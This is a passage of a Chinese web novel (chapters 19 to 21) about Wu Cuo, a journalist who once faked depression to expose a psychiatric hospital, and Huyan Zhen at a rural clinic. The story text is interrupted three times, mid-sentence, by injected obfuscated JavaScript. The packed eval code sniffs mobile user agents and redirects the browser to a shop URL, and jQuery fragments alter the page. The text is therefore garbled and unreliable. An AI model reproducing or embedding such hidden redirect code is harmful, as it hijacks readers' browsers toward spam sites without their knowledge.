不远处,封筝和八哥在吃西瓜唠嗑,在小院的工作一直算不上多忙,但这种什么都不需要考虑的悠闲时候也是很难得的。 正有一搭没一搭聊着的时候,呼延和吴措的吵闹声传过来。 封筝向两人的方向看过去,八哥顺着封筝的视线,盯着那两人也看了一会儿。 “你不觉得他俩挺像的么。”八哥说。 “像吗?”封筝皱着眉头思考了一会儿,“没觉得像。我倒觉得是两个极端。” 八哥说:“这两人,一个看起来没心没肺其实最细心,一个整天吊儿郎当似的,其实还挺热心的。” “热心?”封筝看向八哥,反复确认他不是在开玩笑,“你说吴措?” 八哥点点头,“嗯。吴措。” “你是说,对女孩的那种热心吧。”封筝想了想,对八哥说,“我其实有点担心呼延。她那天和我说,吴措喜欢她。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14446955|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你觉得是?” 封筝抿了抿嘴唇,“我有种说不出来的感觉。你说,吴措会不会只是想撩呼延,撩完就跑的那种,他长得还挺花花公子的你不觉得么。” 八哥下意识想反驳封筝,他手里的塑料叉子在西瓜块上戳了几下,没说出口。 封筝一直说八哥对吴措热情是因为知道他和他父亲的事,但只有八哥自己知道,他对吴措真正改观是因为另一件事。 在那之前,包括见到吴措的第一面,八哥和封筝对吴措的感觉差不多。 人都有些以貌取人的弊端,吴措的确像封筝所说,看起来就像是个没经历过真事儿、没见过真正人世间的花花公子。 八哥来小院之前见过不少富二代,有些人也不能说是何不食肉糜吧,只能说他们对于普通人的世界没有一个真正的概念。 有种没被生活洗礼过的愚蠢,这导致即使他们试图表现出来对贫苦人的关怀,也有种做戏的尴尬感。 其实是再小不过的一件事。 前几天要去采购批耗材,平时都是他和封筝去买,这天封筝忙不过来,他就带着吴措出门了,也是顺便熟悉下环境。 订购单签好,八哥去办其他手续,吴措就坐在门口等着他。 大概过了半个小时吧,八哥出来时看到吴措前面站了两个小孩,一大一小,看起来是兄妹。 男孩手里拎了个蛇皮袋,里面装满了空水瓶和废纸,两个小孩穿着不太合身的衣服,但干干净净的,领口洗得发白。 吴措把手里喝完的矿泉水瓶沥干水后递给男孩,男孩带着妹妹弯腰说了声谢谢,把水瓶掷进袋子。 “等等。”吴措叫住了男孩,提醒他,“你的袋子快装满了,收废品的在附近吗?” 男孩迟疑了一下,通常没人会和他说这些,遇到好心的能把水瓶给他一个,遇到不好的会让他们滚开,但没人会再说其他的话了。 妹妹怯怯地往后躲了躲,男孩看着吴措说:“要走一会。” “稍微处理一下吧,能装多点儿。”吴措把男孩扔进蛇皮袋里的矿泉水拿出来,用脚踩扁,放在手里转了下给他示范。 男孩愣了一下,这里不是他的常活动区,他以前主要在几个修理厂附近捡碎铁丝,即使捡到空瓶子也没有多到需要考虑节省空间的程度。 但更让他惊讶的是,他没想到一个看起来这么体面的人会和他讨论这种事情。 而且他不止说了,还招招手让他把袋子放下来,帮他把袋子里剩下的瓶子都踩完了。 “环卫基本上是早上7点,中午11点半和下午6点来,你可以11点或5点过来碰碰运气。”吴措给他支招。 男孩对于这样的场面仍旧不大适应,况且他也并不觉得吴措这种人看起来是能了解环卫工作的,但出于礼貌,他还是点了点头,说了谢谢。 “是妹妹?”吴措看向男孩身后。 妹妹始终紧攥着男孩的衣角,透过哥哥胳膊和身体的缝隙偷偷看吴措。 “是。”男孩点头。 “你们每天都来吗?” “我每天都来,她平常要上学。” 吴措看着男孩,这句很简单的回答里放着男孩的人生,妹妹还要上学,他已经不需要了。 “家里还有大人吗?”吴措又问。 男孩犹豫了一下,“还有奶奶。” 吴措默声帮他把袋子扎了捆,整理好后交给男孩,“好样的。” 男孩准备要走,吴措又叫住了他,“我给你个号码,你记一下。觉得自己顶不住了的时候,打过来试试。” 吴措说了串号码,男孩不知道记没记住,只是原地定住片刻,呼吸紧紧慢慢地调整了几次,似乎是想说什么,但最终没说出来。 八哥从不远处一步三停地终于走了过来,男孩腮帮咬了咬,头避开妹妹的方向低了低,然后扛起蛇皮袋,带着妹妹离开了两人的视线。 “旁边几个村子有不少留守儿童,隔个镇子还有个孤独村。枥城就这样,看起来经济发展还不错,但多得是吃不饱的人。”八哥帮他解释了来源,也顺便提醒,苦命的人很多,帮是帮不完的。 但吴措没打算继续和他讨论这个,他把话题转到了采购进度上,但几句话后八哥还是追问了句:“你还知道踩空瓶子呢,难不成有什么勤工俭学的故事在里头?” 但这种猜测又挺不靠谱的,八哥看了下吴措身上的包,如果他没记错,这款包正价要将近一万。 吴措察觉到他的视线,笑了笑,“高仿,一百八十五。看着还挺像那么回事是吧?” 八哥哽住。 他确实离开以前的圈子太久了,眼力严重下降。 仔细看看,金属扣的logo做工的确和正品有些出入。 吴措食指勾着背包提手甩在身后,又轻描淡写一句话:“踩空瓶子这不是常识么,也不至于非得干过。” 他停了下,又冲八哥扬了扬眉,“但确实上学的时候打过不少工。你知道什么样的餐馆不用看后厨,就能知道卫生情况和食材新鲜度吗?” 八哥愣住。 “不急着回去吧?走,带你探店去。” 一直到走出好远,八哥才反应过来,他一个在这待了三年多的人,怎么反倒被一个新人带上路了。 19. 病人 “三村路的火锅啊,”呼延躺在草坪上,二郎腿翘着一晃一晃,“确实味道还可以,但为了吃个火锅跑那么远没必要,枥城多得是好吃的菌子火锅。” 两人方才的话题从烤肉吵到食物中毒症状,又说起了小黄豆的病,最后又吵回到了食物上。 吴措说起来,他上次和八哥吃的那菌菇火锅,食材不错,味道也匹配人气。 呼延是不喜欢去那些有名的网红店凑热闹的,她主要是不喜欢等,觉得食物这种东西,就得想吃的时候就进到嘴巴里时,才是最好吃的。 “镇上有家老吴火锅,江新路有个乌鸡菌菇火锅,都好吃。要是不想往外走,刘姐做的鲜菇火锅味道也很正宗。” 说到了刘敏秀,呼延声音顿了顿,她稍侧过头来,喊了声:“吴措。” 吴措躺在她侧边,十指交叉枕在脑后,外套铺在地上,二郎腿随意地翘着。 他们两个人之间隔着差不多半米的距离,有青色的草叶伸出来,疏疏落落地阻挡了一些她的视线。 “嗯。” “你为什么肯付了刘姐那五百多块钱?” 吴措看了她一眼,很简短地说:“有钱呗。” “说正经的!”知道他是在胡乱敷衍她,呼延白了吴措一眼,“八哥跟封筝说,你和他去菜场的时候,也不是什么贵挑什么的。虽然还是有点有钱人的坏毛病——你不讲价!但实在价格贵了你转身就走了,好像也没那么大冤种。” 吴措笑了,“谢邀,大脑正常,还没到那种乱撒钱的程度。” “那你不讲价?” “卖什么价格是卖家的事,我只挑我能接受的价格买。” 呼延几根手指头曲着,晃悠着玩手里的碎纸屑,“你这还是没适应我们这的节奏,有些价格标出来就是让人还价的,你不砍两下说不定他还觉得自己卖亏了,他还想再加点价你可能也买单了。” “我看起来就这么好坑啊。”吴措说。 呼延诚恳点头,“是!要不你怎么能付那五百——” “四百九十六。”吴措纠正她的话。 “你记得还挺清楚。”呼延说,“不过我还是没弄懂,你为什么一开始没付,后来又回去付了,不会是早就知道小黄豆和刘姐的关系了吧?” “怎么这么八卦呢你。”吴措瞥了她一眼,腹肌用力半直起身踢,用胳膊肘撑着,一只手抬起来朝呼延招了招,“你过来我告诉你为什么。” 呼延犹豫了一下,眼神挣扎得明显,不过几秒钟后,还是抬身将耳朵凑了过去。 “不告诉你。” “……”呼延恼了,坐直了拧眉看着他,“吴措你有意思吗?” 吴措:“一般有意思。” 呼延的眼睛很好看,很标准的扇形双眼皮,又黑又亮,恼怒的时候眉心蹙到一起,一双眼睛圆溜溜得特有漫画感。 “你知道吗?记者采访的时候是要付给被采访者报酬的。”吴措一本正经忽悠她。 呼延警惕看着他,“你还想要钱啊,我不就随便问你个问题么。” “不给钱也行。”吴措说,“这样吧,公平起见,我回答你一个问题,你也回答我一个。” 呼延犹豫了一下,脸又转回去,望着天上的云。 像奶油蛋糕的那块早就飘走了,这会儿她头顶上那个有点像阿尔卑斯棒棒糖吃到一半的时候,表面的那种花纹。 她又有点馋了。 呼延歪了歪头,皱着眉头,“你又打什么主意。” “你可以不答应。”吴措说。 呼延盯着吴措的侧脸看了好几秒,又转回头望着天开始沉思。 吴措稍侧过头,轻扫了她一眼。 呼延的脸上长着几颗生动的小痣,眉心,下巴,眼角,脸颊…… 他认识的大部分女孩都会把这些痣点去,她们追寻光洁通透,而这些小痣会影响她们的美貌发挥。 但这些小东西在呼延的脸上却十分合群,好像人天生在那几个地方就该长几颗痣一样。 她似乎有一种让所有存在都十分合理的力量。 呼延抬手,细长的手指掠过风,她张了张口,“那你先回答,回答完了我再决定问你什么问题。” “你还欠我两个问题。”吴措冲她扬了下左边眉毛,“先还了再说。” 呼延眉头又皱起来了,“怎么就两个问题了。” 吴措:“‘那你不讲价?’还有,‘吴措,你有意思吗?’” 呼延:? “说真的,吴措你有病就治。敲竹杠呢?‘你有意思吗’这算是问题吗?”呼延就差龇牙了。 吴措弯唇,“关于这算不算个问题,小黄豆和刘敏秀的关系在你这都能算个秘密,我这怎么就不能算是个问题了。” 呼延:…… 该死的,被他抓住小辫子了。 这缺德吴小三,记性还挺好。 呼延舌尖抵着牙齿屏了会儿气,片刻后说:“你有什么问题,先问。” 他们坐在半坡上,身前是山,身后也是山,置于青色。 这种感觉还挺神奇的。 如果是认识吴措第一天的呼延,肯定想象不到她会在不久后会和吴措这样坐在一起聊天。 也就隔了三四秒钟的时间,吴措没说话,呼延的耐心就要消耗殆尽了,她刚想发脾气的时候,吴措开口了。 吴措挪动了下半屈起的胳膊,说:“刚才吃得开心么。” “开心啊。” 呼延话接得没半点迟疑,但说完又偏头奇怪地盯着吴措:“吃得开心么?你问这个?” 没等吴措再次开口,呼延堵在前面说:“没有后悔的机会了,这就是第一个问题。很好,我已经回答完了。还有一个。” 吴措笑了下,料到呼延会这么说似的,“嗯,还有一个。” 他停顿了会儿,上空有飞鸟经过,天空湛蓝。 “桃花小院,为什么叫桃花小院。” 呼延再次皱起了脸,这都是问的什么问题,如果都是这样的难度,她都要怀疑吴措是在故意放水了。 可又没人规定帮忙打听事就一定要提出这种要求,他放这个水的意义在哪呢。 “因为这里是桃溪村啊,灵沧山有半坡的桃花树,我们院子里也有两棵,当然还有——”呼延稍停顿了下,她觉得自己好像知道吴措问这个问题的原因是什么了。 呼延手里攥着那把碎纸屑做的桃花花瓣,上下颠了颠,“因为这两棵树是我和我男朋友一起种的。” 吴措的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456614|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上没什么表情,他大概猜到了。 桃花小院的两棵从来没有开过桃花的桃花树上,分别挂着一张书签,上面写着:H&L。 这两棵树栽种于三年前,也就是说,至少在三年前呼延就和他在一起了。 “就这样?”呼延狐疑地看着他。 吴措垂了垂眼皮,“嗯,就这样。” 她现在过得挺开心,和男朋友感情稳定,这就够了。 他没什么想打听的了。 真的。 吴措的声音不大,没有回声,但淡淡的、低低的。 呼延忽然有点好奇,他以前做记者的时候也是用这种语气采访人的吗?她好像从来没去搜索过他的事情,即使在封筝和她说了那些事之后。 但当然,她才不会因为吴措手下留情就心软,也不会像他那么笨,这么容易就浪费一个问题。 呼延盘腿坐起来,两只手搓了一下,颇有些摩拳擦掌的架势,“OK现在正式开始,回答我,你是不是早就知道小黄豆和刘姐的关系所以才给钱的?” “不是。”吴措食指随意地敲了敲地面的草皮,“我去的时候旁边的桌椅坏了一套,明显是不久前刚被暴力砸坏的,老板手腕上有伤,袖子遮了没遮住。” “再加上作为一家从早餐营业到晚餐的馆子,竟然只有一个人在前后厨忙,所以我猜要么是家里的男人不做人或者干脆没男人,要么就是有人经常过来找麻烦。” 吴措的猜测几乎和事实没有出入,刘姐家的男人生前不做人,死后自然也做不了人。 店里的桌椅是来要账的砸的,几个月固定来几次,当然刘姐也不是吃素的,回回都没让人占了便宜走。 “我从来也就没做过赊账的打算,只是刚问了句话还没来得及说别的就被赶出来了。”吴措继续说,“至于后来再回去给钱,只是因为这几百块对我没什么影响,但可能对她有些用处,何况我也不是白给,菜挺好吃的。” 花大几百买两道家常菜,最终说是因为菜挺好吃的…… 这话从吴措嘴里说出来,有种活着挺好、死了也行的松弛感。 “就因为这个?”不过呼延肯定是不满意,虽然吴措这个回答比起他最开始那个‘有钱呗’靠谱点,但也太没有意思了,完全没有满足她的八卦好奇心。 于是呼延眼睛一转,冲吴措微眯了下眼睛,“要不这样吧,我再追加一个问题,你也加一个,不让你吃亏。” 吴措掀起眼皮,“我没问题了。” “没问题硬想。”呼延才不管他,“这样哈,你现在说一个你的秘密,不过别想拿什么你背后有个痣,你小时候被狗咬过这种无聊的来糊弄我,必须要我认可你这个秘密算是个秘密,否则你要再额外欠我一个问题。” 呼延觉得自己简直算得上天才,反正认不认可都掌握在她手里,相当于她额外赚了个问题。除非吴措真的给她个爆炸的回答。 吴措很短暂地看了她一眼,她的眼睛在山谷的映衬下亮得惹人心悸。 她就是以这样的眼睛看每一个人的吗? 吴措收回视线,默了片刻,说:“我在精神病院住过四年。” 呼延愣了一下,嘴巴轻微张开,“志愿者?” 吴措说:“病人。” 20. 冷漠 六年前,吴措二十二岁,大学毕业的第一年,他记者生涯的第一篇报道是关于自己的父亲,晋海市连续几年财富值霸榜的知名企业家傅惟。 在此之前,傅惟的形象一直是励志的慈善企业家,他手下的行业覆盖房地产、信息科技,以及晋海市的龙头行业煤矿。 傅惟十几岁辍学,从底层矿工做起,二十岁出头开始创业,一步步做到如今的规模,傅惟用了三十余年的时间。 傅惟其人异常谨慎低调,三十余年只答应过一次采访,也是这次采访,让晋海市所有人知道了那个每年向各大福利机构以及公益中心捐赠数千万的匿名慈善家的名字。 报道分了两个篇章,第一篇是傅惟的发家史,第二篇画风急转直下。 涉黑、非法采矿、权钱交易、私设赌场……报道发出的当天,傅惟被带走调查。 几个月的调查后,最终证据确凿,数罪并罚,成为了晋海市当年最大的一起案子。 也让报道者兼举报者吴措一战成名。 但凡生意能做到傅惟这么大的,一定是黑白通吃到极致的,傅惟这种从底层摸爬滚打上来的更加深谙这些,他打点、防备了半辈子,没防住自己的亲儿子。 傅惟被带走那天,吴措亲自送他出的门,出门前吴措很专业地拿出自己的录音器,问了傅惟最后一个问题: “后悔吗?傅先生。” 会因为想起,那些为他伟大事业垫背铺路的普通工人、被软硬吞并的小型企业,以及因为他郁郁自杀的,吴措的母亲,而后悔吗? 傅惟很平静地看了他一眼,如同无数次同他说“你长大就会明白一切”时的眼神,一个字也没给他留,在几个警察的并挟下,消失在吴措的视野中。 两年后,吴措在北城暗访报道长平路88号精神病院虐待事件,在证据搜集即将齐备的那天,被医院控制关在了隔绝所有病人的小阁楼。 他不需要多努力就能猜得出,他那个和他隔着几百公里的父亲,即使以重刑罪被关押两年,仍旧有能力轻易支配他的自由。 他在第四年,第1505天时,终于通过一个新来的看护医生和外界取得联系,精神病院被查封,吴措才得以逃脱。 也就是在长平路,在还没被控制起来的时候,吴措遇到了他。 吴措记得,他看到吴措的香囊后表情很惊喜,说:“好巧,我女朋友也有一个一模一样的。” 一阵风顺着山涧从他们身畔路过,几片落叶临空飞舞落在草地上,呼延手里的桃花纸片在手掌里哗啦啦鼓动着。 呼延脑海里盘旋了个问题,她觉得问出来挺没礼貌的,但如果不问,她可能后面几天都睡不好觉了。 “那个,什么病啊。”呼延说。 吴措看了她一眼。 呼延立马说:“累计,累计!一会儿你都问回来。” 吴措眼皮懒散地垂着,风漫不经心吹过他额前的短发,他沉默着没出声。 呼延咬了下嘴唇,“行吧,不说也行。不好意思哈,刚才的问题是我有点没分寸了,你别和我妈说——” “抑郁症。” “嗯……嗯?” 呼延彻底呆住了。 吴措,抑郁症? 吴措有抑郁症? 吴措这种有仇当场就报了的人,有抑郁症? ……好吧,是她有点先入为主了。 这不是一个专业的医生该有的想法,患病不是病人能控制的,人人都有得病的权利——虽然这么说有点不对劲,但道理是这个道理。 呼延脑海里乱成一团,眼睛定定看着吴措。 “轮到我了。”吴措说,“我只问一个问题。” 呼延勉强从乱七八糟的想法里抽离出来,她虽然还有更多的问题想问,但再问下去就真的已经不是没礼貌的问题了,所以她顺着吴措的话说:“哦,也行,我是很有契约精神的,问吧。” 吴措又稍坐直了些,他的手肘撑着地面,在半坡上往山里望,远处层峦叠嶂,覆盖着厚厚的荒草,在白日的阳光下泛着浓郁的生机。 “你身边有或者有过抑郁症的人吗?不想说可以不说。” 呼延思考了一下说:“有。” 吴措看向她。 “我的一个朋友。” “朋友?”吴措说。 呼延点了下头。 她不太想提起这件事,这对于她来说是一段很不愿触及的记忆,纵使事情已经过去很久了,每次回忆起来她的心里还是会针扎似的一下一下疼。 但又的确是她主张着把话题聊到了这里,吴措揭开了自己的伤疤,她再扭扭捏捏的就很没意思。 “大概几年前吧。”呼延说。 她一只手扶着膝盖屈膝坐在草坪上,下巴垫在手背上方,另一只手捏着桃花瓣纸屑摆在草地上,组成了个没什么规则的形状。 “那时候我们小院刚搬过来没多久,有个和我差不多大的女孩,她是重度抑郁转轻,本来是到枥城度假的,晚上没找到民宿,我就让她住下来了。她在小院待了三个月,症状几乎没复发过,后来陈文德来了——你知道陈文德的吧。” 呼延用的是陈述的语气,并不是疑问。 吴措也并不惊讶,封筝既然肯把这件事告诉他,肯定也同时和呼延讲过。 但凡能说出口的,都不是秘密。 “他那篇文章发出去,那个女孩就离开了。后来我联系上她的家人,才知道她离开后不久再次重度抑郁,而且有很严重的自残倾向,被家里人又送到精神病院了,到现在,还在那里。我去过几次,但她都没见我。” 她的声音有点哑,两条胳膊抱着膝盖,脑袋往天上看,眼眶睁得很大,亮晶晶的。 “抱歉。”呼延声音淡淡,“如果早知道你有病,我就不怼你了。” 所有人对呼延的第一评价都是,没心没肺,看起来好像所有的事情都不足以让她放在心上,不足够让她忧心。 可吴措一天比一天发现,没有人比呼延的同理心更强。 她的神经大条只体现在不会对任何人造成影响的、那些无伤大雅的事情上。 但一旦涉及到紧要的事情或者一个确定的人,她的神经触角会攀附到最细致的角落里,博爱得如同一个天生就该庇护众生的圣人。 “我没病。”吴措说,“我装的。” 呼延反应了一下,脖子稍往前倾了一下,“你装的?” 吴措闭闭眼回应。 “你没病装病?”呼延声音又高起来,她发现吴措真的就是长在她爆发点上的人。 “你这样很不尊重那些真正患病的病人你知道吗?如果疾病娱乐化,你让他们怎么想?如果别人都觉得那些真正患抑郁症的人也是在装呢?你考虑过你的行为给别人带来的后果吗?” 呼延机关枪似的散开火力朝吴措突突。 “要做个报道,有个病方便点。”吴措轻描淡写,“后来那个精神病院查封了。” “……”呼延脖子缩回来,舔了舔嘴唇,“哦这样啊。你话能不能一次性说全。” 害得她这心情跟着忽上忽下的。 在这开过山车呢。 “还有吗?”吴措说,“你认识的抑郁症患者。” 呼延以为自己听错了,“什么意思?” 吴措注视着她,他给了她充足的回忆、思考和回答的时间,看着呼延的表情缓慢地从质疑变为开始恼怒,但没有丝毫他期望看到的情绪。 “没什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464288|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”吴措收回视线。 “你——” 呼延刚要发难,吴措又说:“陈文德判了八年。” “啊?” “第二年就被砸断了一条胳膊,赚的钱全赌没了,出来后估计也没什么好日子。” 吴措说这句话时没什么表情,但呼延总觉得他好像心情很差,但怎么也说不通,他肯定不能是同情陈文德的遭遇,不然不会如同汇报成果一样向她说出这些。 呼延盯着吴措的侧脸看了片刻,说:“没意义了。” “坏人得到了惩罚,好人过上了幸福快乐的生活,只是小说童话里美好的幻想。现实中受到了伤害,是不可逆的。” 她眉眼敛起,又叹了口气,“不过恶有恶报,如果妙妙知道这件事,说不定能稍微宽一些心。” 呼延没打算提起妙妙的名字,也许真的是情不自禁,她觉得和吴措说说也没关系,因为吴措说过,如果没有她的允许,他不会把任何这里的事情带离桃花小院。 吴措的视线眺向远处的群山,又收回放到呼延的侧脸,然后放到她摆在地上成了一簇桃花的纸片上。 呼延并不是一个冷漠的人。 相反,她会怀念自己的朋友,善待身边的人,每个人对她的评价都很好。 可她偏偏就是不记得你了。 是因为你的死对她来说是不想回忆的痛苦,所以她闭口不谈吗? 还是,她的爱真的是有时限的。 一旦过了某个阶段,她就会自动断舍离,把所有你曾微笑谈起的,那些被你称之为美好的一切,扔进垃圾桶里。 没意义了。 就像呼延说的一样。 纠结这些没意义。 他的任务本来就是确认呼延在好好生活,呼延现在的状态按理说十分符合他的需求。 所以他现在这种怪异的不甘,或许只是起源于那种巨大的落差感。 因为故友对于呼延的描述过于完美,以及对于他离开后呼延的处境过于担忧,导致眼前呼延若无其事的样子形成了巨大的反差。 他在以一种不该有的立场,为故友感到遗憾。 但不论什么缘由,都不是他该有的情绪。 这和他没有关系。 “聊完了吗?”远处封筝喊他们,“院长电话打过来了。” 吴措起身,朝他们走过去。 呼延依依不舍朝身后望了眼,跟了上来。 好可惜,今天陆离不在。 天气真的很不错,不知道陆离的临时拍摄任务进行得怎么样。 呼延心不在焉边走着,边帮着收拾剩下的东西,抬头的时候,视线忽然被吴措包上挂着的东西吸引。 “你挂我的香囊干嘛?”呼延跑过去扯起吴措包上的香囊。 吴措眼神顿住一秒,但很快明白了什么一样,歪歪头看着呼延。 这个香囊,是他母亲为他在寺庙求的,来枥城那天恰好下雨,他收进了包里,前几天才记得拿出来挂着。 呼延拽着吴措的包,眼睛凑上去仔细看了一番,想起什么又去翻了下自己的背包夹层,松了口气,“哦,我的在这。” “不好意思咯,又误会你一次。” 她朝吴措抬了抬眉毛,没丁点儿愧疚的意思,撂下句话钻进车里。 宁泉大龙佛寺求来的平安符,裹在红色的香囊袋里,被保护得仿佛崭新。 吴措记得,他在说起呼延的这个香囊时,说到他们一同去求符的那天,半山腰上下起大雨,路上行人都在抱怨天气。 只有呼延乐呵呵地说,真好,又多了个龙王庇佑,这下真的要平安健康一辈子咯。 远处再次响起一声禽鸟长鸣,风送叶归林,他们启程离开。 21. 照片 吴措回到宿舍时,老郑的电话刚好打了过来,他一边整理着从院子衣架上拿上来的衣服,手机放在沙发上开了免提听老郑说话。 “房东听说是你租,把挂着的房子直接下架了,说还是四年前那个价格,给你留着。现在那片市场价可是涨了好几百了。” 吴措的行李很少,来的时候背了个背包,寄了个箱子,走的时候也是这些。 他去哪都是这几样东西,有种在哪里都定不下来,哪里都不是家的感觉。 他从抽屉里拿出简易挂烫机充上电,“那麻烦你再和赵叔说我暂时先不租了。” “好,他肯定乐——等等,”老郑反应了一下,“什么意思?你找到其他房子了?” “暂时不回去了。” 老郑不明白了,“不是,暂时不回来了是什么意思,不是你自己说待不久让我先帮你找好房子么。” 吴措的手在挂烫机上方虚碰了下,确定好温度,将衬衫挂好开始熨烫,“帮我和赵叔赔个不是,损失的钱我会给他补上。” “这你倒是不用担心,”老郑又说,“赵叔也是一直等个机会谢你呢,要不是你当时帮他,他女儿出国前也不能和他解开心结,说不定老头现在还是那怪脾气,整天找人撒火。” 赵叔也是个挺有意思的老头,老北城人,老伴早些年没了,和唯一的女儿关系也不好,当初老郑还没结婚的时候两人租赵叔的房子合租,隔三岔五敲他们门检查有没有弄坏他家具。 后来吴措实在受不了,找邻居聊了下知道了赵叔女儿的事,帮忙调解了半个月,赵叔和女儿关系缓和,当晚又敲他们门,拿出自己藏了几年的酒和两人喝了一晚上。 “没什么好谢的。”吴措说,“我只是给自己找方便。” 老郑“啧”了声,“吴措不是我说你,你这人有时候就特装你知道嘛,做完好事就大大方方接受表彰就得了,非得一副不在意功过的样子,显得我们这些人特俗。” 插头接触不良,温度时高时低,吴措也不着急,慢悠悠捋平自己的白衬衫,笑了声,“行,下次做好事敲个锣声张一下。” “我再给你配个唢呐。”老郑顺着说,“——等等又给你绕开了,你还没说呢。” “说什么。”吴措说。 “为什么突然不回来了?” “有点事没处理完。” “什么事。” 吴措没出声。 老郑咂吧了下嘴,“行,我不问。你这人主意大,谁能拦得住你啊。不过……让我猜一下,不会是因为那个叫呼延真的小姑娘吧?” 吴措熨衣服的动作顿了下,但很快恢复,挂烫机不好用,半天后衬衫袖子上仍有一道顽固的褶皱,他衬衫挂在衣柜旁,视线落在一旁的桌子上。 桌上放着最后一样属于他的东西,一张画面是草原风景的明信片。 他将明信片放在手里,拇指和食指捏着边缘。 老郑听他这半天没动静,又继续说:“……不会吧,这才几天啊。” “有劲嘛你。”吴措总算开了口,“你以为全世界都是你吗?看到女的就只想着谈恋爱,我对她没兴趣。” 老郑又“啧”了两声,“吴措你发现没有,你一有心事就不会撒谎。我刚才瞎说呢,还真给你诈出来了。谁问你了?谈不谈恋爱的。” 老郑咂摸了一下这事,觉得挺可乐,调侃他:“就这还说没兴趣呢,我看你快有兴趣疯了吧。” “挺会脑补。”吴措冷冷一声。 老郑完全忽略他,“什么样的姑娘啊我倒是真想亲眼见见,能把和尚搅乱了心。” 吴措:“……” “什么时候带回北城给我们看看?”老郑调侃的语气说着。 “挂了。” 吴措走到沙发前挂断电话,顺势一躺坐进了沙发里。他指间捏着那张明信片,举起朝着灯光的方向看着。 明信片有一些年份了,但因为被塑封袋包装着,所以没有泛黄或者脏污的痕迹。包装粘贴的边缘翘起了一小截,附着着空气里的灰土,落在雪山草原的景里,遥遥望去像是匹隐入其中的黑狼。 对方递给吴措这张明信片的时候,告诉吴措这是他在和呼延初见的地方买的。 呼延寄了很多出去给自己的朋友,但他没有可以寄的人,所以就一直放在身上留到了现在。 吴措将明信片的塑封条轻轻掀开,从里面拿出这张陈旧的明信片。 明信片是个可以打开的合页,里面是写寄语的地方,当时吴措收到的时候上面还没有字,他撺掇着对方写点寄语上去,然后找护士要了支笔—— “呼延真!” 门外一阵震耳欲聋的喊声,吴措的回忆戛然而止。 · 呼延的脚在山里崴了那么一下后,回来也没法干什么活了,跛着脚帮着收了院子里晒着的草药,去厨房里拿了几块孙姨蒸好的糯米糕就回房间躺着了。 她的房间有一面不大不小的窗子,窗帘拉了一半,夕阳带着白日将近的霞光照到她的床上,呼延在床上翻来覆去蛄蛹了几圈,猛地坐了起来。 吴措是真的有病吧。 精神病院也不是自己说自己有病,就能在里面住的吧。 他演技这么好吗?能骗过专业医生的测试? 还有,他为什么会在里面一待就是四年? 又不是缉毒卧底,暗访医院也需要这么久的吗? 不会……这条也是吴措骗她的吧。 她越想越觉得不对劲,挪着身体从床上下来,一瘸一拐走到小冰箱旁边,打开冷冻层拿出根碎冰冰,在上面裹了层医用纱布,然后又一瘸一拐走到沙发上躺下,一边用冰敷着脚腕,一边开始搜索吴措。 呼延以前是个十分标准的互联网白痴,她对于外界的信息需求不大,大部分时间只专注于身边和眼前的事。 她的贴吧账号还是封筝帮她注册的,当时陈文德的事闹起来的时候,她从八哥的手机里看到陈文德发的文章气得手抖,让封筝连夜给她注册了账号到处举报。 不过呼延只是不爱上网,基础的互联网知识还是知道的,比如微信里的搜索百科,百度里的关键索引,微博里的联想词…… 这么一搜,吴措还真的到处都是。 他的名字、他的报道、他的文章……他甚至有一个简单的百科界面。 第一行的介绍是,吴措,“817事件”当事人傅惟独子。 和封筝说的差不多,只不过离开封筝声情并茂的叙述,百科里要显得客观了许多。 寥寥几行字写着吴措如何搜集了傅惟的犯罪证据、如何和检察官配合逮捕、如何六亲不认地将自己的亲爹拉下了马。 因为没有第三人的叙述,呼延看着这些文字的时候偶尔会有些恍惚,仿佛她看到的这个吴措,和她所认识的那个吴措不是同一个人。 而在这个简单的百科介绍里,只有一张不算高清的吴措侧脸的照片。 照片拍摄在一个叫作索马里的东非国家,吴措蹲在地上,旁边围着几个拿着什么饼的小孩。 照片里吴措的头发比现在要再长一些,半扎着束在脑后,额前几缕碎发半垂着,他膝盖屈起半跪在地上,低头专注看着手里的摄像机。 呼延的食指和中指按压着照片反复放大缩小,在页面上停留半天,嘟囔了一声:“P过头了吧。” 吴措的鼻子有这么挺吗?人中这么深?眼眶也没这么深邃吧,皮肤倒是没有现在这么白,但挺嫩。 要么是P了,要么就是越长越丑了。 她瞥了眼照片的拍摄时间,是在六年前。那就是了,岁月催人老,半点不由人呐。 呼延又点了下图片试图退出界面,但却弹出了个选择界面——共享、存储到“照片”、拷贝…… 她的手指鬼使神差地挪到了存储照片的选项上,但意识到什么以后又很快弹开。连续往右划了几次退出了界面。 